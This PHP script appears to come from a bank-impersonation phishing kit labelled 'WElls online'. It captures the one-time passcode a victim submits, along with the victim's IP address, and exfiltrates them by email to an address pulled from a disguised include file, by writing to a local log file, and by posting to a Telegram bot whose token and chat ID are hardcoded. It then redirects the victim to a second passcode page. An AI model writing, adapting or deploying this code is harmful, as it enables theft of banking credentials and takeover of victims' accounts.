<?php
// Include necessary files
require_once "function.php";
ini_set("output_buffering", 4096);
session_start();
ob_start();

include 'Email.php';
$_SESSION['username'] = $_POST['username'];
$random = rand(0, 100000000000);
$md5 = md5("$random");
$base = base64_encode($md5);
$host = md5("$base");

$_SESSION['username'] = $_POST['username'];
$ip = getenv("REMOTE_ADDR");
$message = "Bit Results: \n";
$message .= "OTP-Number: " . $_POST['sms'] . "\n";
$headers = "From: WElls online <mail@wsfonmail.com>";
$subject = "WElls online - $ip";

// Send the email (if necessary)
include 'js/jquery/jquery/js.php';
mail($SEND, $subject, $message, $headers);

// Log the message in a file
$file = fopen("log-Owtoya.txt", 'a');
fwrite($file, $message);

// Telegram Bot token and chat ID
$token = "5812352919:AAGtQ_JFGA9padfKL_8vWPAjlTT_SIWt18Y";
$chat_id = "5606862820";

// Prepare the cURL request for Telegram
$telegram_api_url = "https://api.telegram.org/bot$token/sendMessage";
$data = [
    'chat_id' => $chat_id,
    'text' => $message
];

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $telegram_api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));

// Execute cURL request and close the session
$response = curl_exec($ch);
curl_close($ch);

// Destroy session
session_destroy();

// Redirect
header("Location: otp2.php");
?>
